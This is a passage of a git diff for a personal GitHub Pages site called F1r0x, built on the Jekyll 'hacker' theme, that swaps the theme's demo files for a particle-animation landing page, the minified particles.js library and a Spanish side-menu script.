Contribute to an Open Source Project on GitHub](https://egghead.io/series/how-to-contribute-to-an-open-source-project-on-github) - -## Bootstrapping your local development environment - -`script/bootstrap` - -## Running tests - -`script/cibuild` - -## Code of conduct - -This project is governed by [the Contributor Covenant Code of Conduct](CODE_OF_CONDUCT.md). By participating, you are expected to uphold this code. - -## Additional Resources - -* [Contributing to Open Source on GitHub](https://guides.github.com/activities/contributing-to-open-source/) -* [Using Pull Requests](https://help.github.com/articles/using-pull-requests/) -* [GitHub Help](https://help.github.com) diff --git a/docs/SUPPORT.md b/docs/SUPPORT.md deleted file mode 100644 index db7a5321ab3..00000000000 --- a/docs/SUPPORT.md +++ /dev/null @@ -1,9 +0,0 @@ -## Where to get help - -If you think you've found a bug in the Hacker theme, please [check the existing issues](https://github.com/pages-themes/hacker/issues), and if no one has reported the problem, [open a new issue](https://github.com/pages-themes/hacker/issues/new). - -If you have a general question about the theme, how to implement it, or how to customize it for your site you have two options: - -1. Search for your query on [`support.github.com`](https://support.github.com/?q=pages+Hacker+theme), which will also look for similar topics on [`github.community`](https://github.community/search?q=pages+Hacker+theme) -2. Ask your question of the Jekyll community on [talk.jekyllrb.com](https://talk.jekyllrb.com/) -3. [Contact GitHub Support](https://github.com/contact?form%5Bsubject%5D=GitHub%20Pages%20theme%20pages-themes/hacker) diff --git a/google96008f24d8fe47e3.html b/google96008f24d8fe47e3.html new file mode 100644 index 00000000000..fcf13d5e716 --- /dev/null +++ b/google96008f24d8fe47e3.html @@ -0,0 +1 @@ +google-site-verification: google96008f24d8fe47e3.html \ No newline at end of file diff --git a/index.html b/index.html new file mode 100644 index 00000000000..ea0fb15ad21 --- /dev/null +++ b/index.html @@ -0,0 +1,77 @@ + + + + + + + F1r0x + + + + + + + +
    +
    + +
    +
    + +
    + + F1R0X
    +
    +
    +
    + + + + + + + +
    + +
    +
    + +
    + +
    +
    + + + + + + + + + + +
    + +
    +
    + +
    + +
    +
    + + + + + + + + + + + + + diff --git a/index.md b/index.md deleted file mode 100644 index e039c9ac641..00000000000 --- a/index.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -layout: default ---- - -Text can be **bold**, _italic_, ~~strikethrough~~ or `keyword`. - -[Link to another page](./another-page.html). - -There should be whitespace between paragraphs. - -There should be whitespace between paragraphs. We recommend including a README, or a file with information about your project. - -# Header 1 - -This is a normal paragraph following a header. GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere. - -## Header 2 - -> This is a blockquote following a header. -> -> When something is important enough, you do it even if the odds are not in your favor. - -### Header 3 - -```js -// Javascript code with syntax highlighting. -var fun = function lang(l) { - dateformat.i18n = require('./lang/' + l) - return true; -} -``` - -```ruby -# Ruby code with syntax highlighting -GitHubPages::Dependencies.gems.each do |gem, version| - s.add_dependency(gem, "= #{version}") -end -``` - -#### Header 4 - -* This is an unordered list following a header. -* This is an unordered list following a header. -* This is an unordered list following a header. - -##### Header 5 - -1. This is an ordered list following a header. -2. This is an ordered list following a header. -3. This is an ordered list following a header. - -###### Header 6 - -| head1 | head two | three | -|:-------------|:------------------|:------| -| ok | good swedish fish | nice | -| out of stock | good and plenty | nice | -| ok | good `oreos` | hmm | -| ok | good `zoute` drop | yumm | - -### There's a horizontal rule below this. - -* * * - -### Here is an unordered list: - -* Item foo -* Item bar -* Item baz -* Item zip - -### And an ordered list: - -1. Item one -1. Item two -1. Item three -1. Item four - -### And a nested list: - -- level 1 item - - level 2 item - - level 2 item - - level 3 item - - level 3 item -- level 1 item - - level 2 item - - level 2 item - - level 2 item -- level 1 item - - level 2 item - - level 2 item -- level 1 item - -### Small image - -![Octocat](https://github.githubassets.com/images/icons/emoji/octocat.png) - -### Large image - -![Branching](https://guides.github.com/activities/hello-world/branching.png) - - -### Definition lists can be used with HTML syntax. - -
    -
    Name
    -
    Godzilla
    -
    Born
    -
    1952
    -
    Birthplace
    -
    Japan
    -
    Color
    -
    Green
    -
    - -``` -Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this. -``` - -``` -The final element. -``` diff --git a/jekyll-theme-hacker.gemspec b/jekyll-theme-hacker.gemspec index 893e841f9b8..6b0c7f45d80 100644 --- a/jekyll-theme-hacker.gemspec +++ b/jekyll-theme-hacker.gemspec @@ -1,3 +1,5 @@ +# Necesario para establecer Bundler. + # frozen_string_literal: true Gem::Specification.new do |s| diff --git a/js/app.js b/js/app.js new file mode 100644 index 00000000000..ff4d93f01ac --- /dev/null +++ b/js/app.js @@ -0,0 +1,121 @@ +/*---------- Archivo de Configuración Portada Partículas --------------*/ + +particlesJS('particles-js', + + { + "particles": { + "number": { + "value": 80, + "density": { + "enable": true, + "value_area": 800 + } + }, + "color": { + "value": "#b5e800" + }, + "shape": { + "type": "circle", + "stroke": { + "width": 0, + "color": "#000000" + }, + "polygon": { + "nb_sides": 5 + }, + "image": { + "src": "img/github.svg", + "width": 100, + "height": 100 + } + }, + "opacity": { + "value": 0.5, + "random": false, + "anim": { + "enable": false, + "speed": 1, + "opacity_min": 0.1, + "sync": false + } + }, + "size": { + "value": 5, + "random": true, + "anim": { + "enable": false, + "speed": 40, + "size_min": 0.1, + "sync": false + } + }, + "line_linked": { + "enable": true, + "distance": 150, + "color": "#ffffff", + "opacity": 0.4, + "width": 1 + }, + "move": { + "enable": true, + "speed": 6, + "direction": "none", + "random": false, + "straight": false, + "out_mode": "out", + "attract": { + "enable": false, + "rotateX": 600, + "rotateY": 1200 + } + } + }, + "interactivity": { + "detect_on": "canvas", + "events": { + "onhover": { + "enable": true, + "mode": "repulse" + }, + "onclick": { + "enable": true, + "mode": "push" + }, + "resize": true + }, + "modes": { + "grab": { + "distance": 400, + "line_linked": { + "opacity": 1 + } + }, + "bubble": { + "distance": 400, + "size": 40, + "duration": 2, + "opacity": 8, + "speed": 3 + }, + "repulse": { + "distance": 200 + }, + "push": { + "particles_nb": 4 + }, + "remove": { + "particles_nb": 2 + } + } + }, + "retina_detect": true, + "config_demo": { + "hide_card": false, + "background_color": "#b61924", + "background_image": "", + "background_position": "50% 50%", + "background_repeat": "repeat-y", + } + } + +); diff --git a/js/particles.min.js b/js/particles.min.js new file mode 100644 index 00000000000..1b204b7bd82 --- /dev/null +++ b/js/particles.min.js @@ -0,0 +1,9 @@ +/* ----------------------------------------------- +/* Author : Vincent Garreau - vincentgarreau.com +/* MIT license: http://opensource.org/licenses/MIT +/* Demo / Generator : vincentgarreau.com/particles.js +/* GitHub : github.com/VincentGarreau/particles.js +/* How to use? : Check the GitHub README +/* v2.0.0 +/* ----------------------------------------------- */ +function hexToRgb(e){var a=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(a,function(e,a,t,i){return a+a+t+t+i+i});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,a,t){return Math.min(Math.max(e,a),t)}function isInArray(e,a){return a.indexOf(e)>-1}var pJS=function(e,a){var t=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:t,w:t.offsetWidth,h:t.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;a&&Object.deepExtend(i,a),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()})},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,a,t){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=t?t.x:Math.random()*i.canvas.w,this.y=t?t.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,t),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var s=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(s)}else void 0!=e.value.r&&void 0!=e.value.g&&void 0!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),void 0!=e.value.h&&void 0!=e.value.s&&void 0!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var n={};switch(i.particles.move.direction){case"top":n={x:0,y:-1};break;case"top-right":n={x:.5,y:-.5};break;case"right":n={x:1,y:-0};break;case"bottom-right":n={x:.5,y:.5};break;case"bottom":n={x:0,y:1};break;case"bottom-left":n={x:-.5,y:1};break;case"left":n={x:-1,y:0};break;case"top-left":n={x:-.5,y:-.5};break;default:n={x:0,y:0}}i.particles.move.straight?(this.vx=n.x,this.vy=n.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=n.x+Math.random()-.5,this.vy=n.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var r=i.particles.shape.type;if("object"==typeof r){if(r instanceof Array){var c=r[Math.floor(Math.random()*r.length)];this.shape=c}}else this.shape=r;if("image"==this.shape){var o=i.particles.shape;this.img={src:o.image.src,ratio:o.image.width/o.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&void 0!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){function e(){i.canvas.ctx.drawImage(r,a.x-t,a.y-t,2*t,2*t/a.img.ratio)}var a=this;if(void 0!=a.radius_bubble)var t=a.radius_bubble;else var t=a.radius;if(void 0!=a.opacity_bubble)var s=a.opacity_bubble;else var s=a.opacity;if(a.color.rgb)var n="rgba("+a.color.rgb.r+","+a.color.rgb.g+","+a.color.rgb.b+","+s+")";else var n="hsla("+a.color.hsl.h+","+a.color.hsl.s+"%,"+a.color.hsl.l+"%,"+s+")";switch(i.canvas.ctx.fillStyle=n,i.canvas.ctx.beginPath(),a.shape){case"circle":i.canvas.ctx.arc(a.x,a.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(a.x-t,a.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t,a.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t/(i.particles.shape.polygon.nb_sides/3.5),a.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,a.x-2*t/(i.particles.shape.polygon.nb_sides/4),a.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var r=a.img.obj;else var r=i.tmp.img_obj;r&&e()}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e=i.particles.opacity.value&&(a.opacity_status=!1),a.opacity+=a.vo):(a.opacity<=i.particles.opacity.anim.opacity_min&&(a.opacity_status=!0),a.opacity-=a.vo),a.opacity<0&&(a.opacity=0)),i.particles.size.anim.enable&&(1==a.size_status?(a.radius>=i.particles.size.value&&(a.size_status=!1),a.radius+=a.vs):(a.radius<=i.particles.size.anim.size_min&&(a.size_status=!0),a.radius-=a.vs),a.radius<0&&(a.radius=0)),"bounce"==i.particles.move.out_mode)var s={x_left:a.radius,x_right:i.canvas.w,y_top:a.radius,y_bottom:i.canvas.h};else var s={x_left:-a.radius,x_right:i.canvas.w+a.radius,y_top:-a.radius,y_bottom:i.canvas.h+a.radius};switch(a.x-a.radius>i.canvas.w?(a.x=s.x_left,a.y=Math.random()*i.canvas.h):a.x+a.radius<0&&(a.x=s.x_right,a.y=Math.random()*i.canvas.h),a.y-a.radius>i.canvas.h?(a.y=s.y_top,a.x=Math.random()*i.canvas.w):a.y+a.radius<0&&(a.y=s.y_bottom,a.x=Math.random()*i.canvas.w),i.particles.move.out_mode){case"bounce":a.x+a.radius>i.canvas.w?a.vx=-a.vx:a.x-a.radius<0&&(a.vx=-a.vx),a.y+a.radius>i.canvas.h?a.vy=-a.vy:a.y-a.radius<0&&(a.vy=-a.vy)}if(isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(a),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(a),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(a),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var n=e+1;n0){var c=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+c.r+","+c.g+","+c.b+","+r+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(a.x,a.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=t/(1e3*i.particles.move.attract.rotateX),c=s/(1e3*i.particles.move.attract.rotateY);e.vx-=r,e.vy-=c,a.vx+=r,a.vy+=c}},i.fn.interact.bounceParticles=function(e,a){var t=e.x-a.x,i=e.y-a.y,s=Math.sqrt(t*t+i*i),n=e.radius+a.radius;n>=s&&(e.vx=-e.vx,e.vy=-e.vy,a.vx=-a.vx,a.vy=-a.vy)},i.fn.modes.pushParticles=function(e,a){i.tmp.pushing=!0;for(var t=0;e>t;t++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:a?a.pos_x:Math.random()*i.canvas.w,y:a?a.pos_y:Math.random()*i.canvas.h})),t==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){function a(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}function t(a,t,s,n,c){if(a!=t)if(i.tmp.bubble_duration_end){if(void 0!=s){var o=n-p*(n-a)/i.interactivity.modes.bubble.duration,l=a-o;d=a+l,"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else if(r<=i.interactivity.modes.bubble.distance){if(void 0!=s)var v=s;else var v=n;if(v!=a){var d=n-p*(n-a)/i.interactivity.modes.bubble.duration;"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else"size"==c&&(e.radius_bubble=void 0),"opacity"==c&&(e.opacity_bubble=void 0)}if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var s=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(s*s+n*n),c=1-r/i.interactivity.modes.bubble.distance;if(r<=i.interactivity.modes.bubble.distance){if(c>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value){var o=e.radius+i.interactivity.modes.bubble.size*c;o>=0&&(e.radius_bubble=o)}else{var l=e.radius-i.interactivity.modes.bubble.size,o=e.radius-l*c;o>0?e.radius_bubble=o:e.radius_bubble=0}if(i.interactivity.modes.bubble.opacity!=i.particles.opacity.value)if(i.interactivity.modes.bubble.opacity>i.particles.opacity.value){var v=i.interactivity.modes.bubble.opacity*c;v>e.opacity&&v<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}else{var v=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*c;v=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}}}else a();"mouseleave"==i.interactivity.status&&a()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){var s=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y,r=Math.sqrt(s*s+n*n),p=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;p>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),p>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}i.tmp.bubble_clicking&&(t(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),t(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){function a(){var a=Math.atan2(d,p);if(e.vx=u*Math.cos(a),e.vy=u*Math.sin(a),"bounce"==i.particles.move.out_mode){var t={x:e.x+e.vx,y:e.y+e.vy};t.x+e.radius>i.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>i.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy)}}if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,s=e.y-i.interactivity.mouse.pos_y,n=Math.sqrt(t*t+s*s),r={x:t/n,y:s/n},c=i.interactivity.modes.repulse.distance,o=100,l=clamp(1/c*(-1*Math.pow(n/c,2)+1)*c*o,0,50),v={x:e.x+r.x*l,y:e.y+r.y*l};"bounce"==i.particles.move.out_mode?(v.x-e.radius>0&&v.x+e.radius0&&v.y+e.radius=m&&a()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var a=e.x-i.interactivity.mouse.pos_x,t=e.y-i.interactivity.mouse.pos_y,s=Math.sqrt(a*a+t*t);if(s<=i.interactivity.modes.grab.distance){var n=i.interactivity.modes.grab.line_linked.opacity-s/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(n>0){var r=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+r.r+","+r.g+","+r.b+","+n+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",function(e){if(i.interactivity.el==window)var a=e.clientX,t=e.clientY;else var a=e.offsetX||e.clientX,t=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=a,i.interactivity.mouse.pos_y=t,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"}),i.interactivity.el.addEventListener("mouseleave",function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"})),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout(function(){i.tmp.repulse_clicking=!1},1e3*i.interactivity.modes.repulse.duration)}})},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var a=e*i.particles.number.value/i.particles.number.density.value_area,t=i.particles.array.length-a;0>t?i.fn.modes.pushParticles(Math.abs(t)):i.fn.modes.removeParticles(t)}},i.fn.vendors.checkOverlap=function(e,a){for(var t=0;tv;v++)e.lineTo(i,0),e.translate(i,0),e.rotate(l);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var a=new XMLHttpRequest;a.open("GET",i.particles.shape.image.src),a.onreadystatechange=function(e){4==a.readyState&&(200==a.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},a.send()}else{var t=new Image;t.addEventListener("load",function(){i.tmp.img_obj=t,i.fn.vendors.checkBeforeDraw()}),t.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):void 0!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&void 0==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};Object.deepExtend=function(e,a){for(var t in a)a[t]&&a[t].constructor&&a[t].constructor===Object?(e[t]=e[t]||{},arguments.callee(e[t],a[t])):e[t]=a[t];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}(),window.pJSDom=[],window.particlesJS=function(e,a){"string"!=typeof e&&(a=e,e="particles-js"),e||(e="particles-js");var t=document.getElementById(e),i="particles-js-canvas-el",s=t.getElementsByClassName(i);if(s.length)for(;s.length>0;)t.removeChild(s[0]);var n=document.createElement("canvas");n.className=i,n.style.width="100%",n.style.height="100%";var r=document.getElementById(e).appendChild(n);null!=r&&pJSDom.push(new pJS(e,a))},window.particlesJS.load=function(e,a,t){var i=new XMLHttpRequest;i.open("GET",a),i.onreadystatechange=function(a){if(4==i.readyState)if(200==i.status){var s=JSON.parse(a.currentTarget.response);window.particlesJS(e,s),t&&t()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()}; diff --git a/js/script.js b/js/script.js new file mode 100644 index 00000000000..0edcd25dc86 --- /dev/null +++ b/js/script.js @@ -0,0 +1,39 @@ +//Ejecutar función en el evento click +document.getElementById("btn_open").addEventListener("click", open_close_menu); + +//Declaramos variables +var side_menu = document.getElementById("menu_side"); +var btn_open = document.getElementById("btn_open"); +var body = document.getElementById("body"); + +//Evento para mostrar y ocultar menú + function open_close_menu(){ + body.classList.toggle("body_move"); + side_menu.classList.toggle("menu__side_move"); + } + +//Si el ancho de la página es menor a 760px, ocultará el menú al recargar la página + +if (window.innerWidth < 760){ + + body.classList.add("body_move"); + side_menu.classList.add("menu__side_move"); +} + +//Haciendo el menú responsive(adaptable) + +window.addEventListener("resize", function(){ + + if (window.innerWidth > 760){ + + body.classList.remove("body_move"); + side_menu.classList.remove("menu__side_move"); + } + + if (window.innerWidth < 760){ + + body.classList.add("body_move"); + side_menu.classList.add("menu__side_move"); + } + +}); diff --git a/portada.html b/portada.html new file mode 100644 index 00000000000..ccf1a806297 --- /dev/null +++ b/portada.html @@ -0,0 +1,363 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + 